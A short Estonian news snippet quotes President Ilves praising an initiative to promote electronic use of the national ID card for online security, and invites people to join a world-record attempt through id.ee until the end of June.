„Inimeste turvalisuse tagamine kaasaegses infoühiskonnas ei ole pelgalt tehnoloogide südameasi, selles on meil kõigil oma panus anda. Eesti on üks vähestest riikidest, kus on tänu ID-kaardile selleks väga head võimalused. Algatus selle elektroonilist kasutamist rahvale lähemale viia on kiiduväärt,“ sõnas president Ilves.
 
Kuni juuni lõpuni võimalus kõigil maailmarekordi püüdlusesse panustada, seda on saab teha aadressil www.id.ee/rekord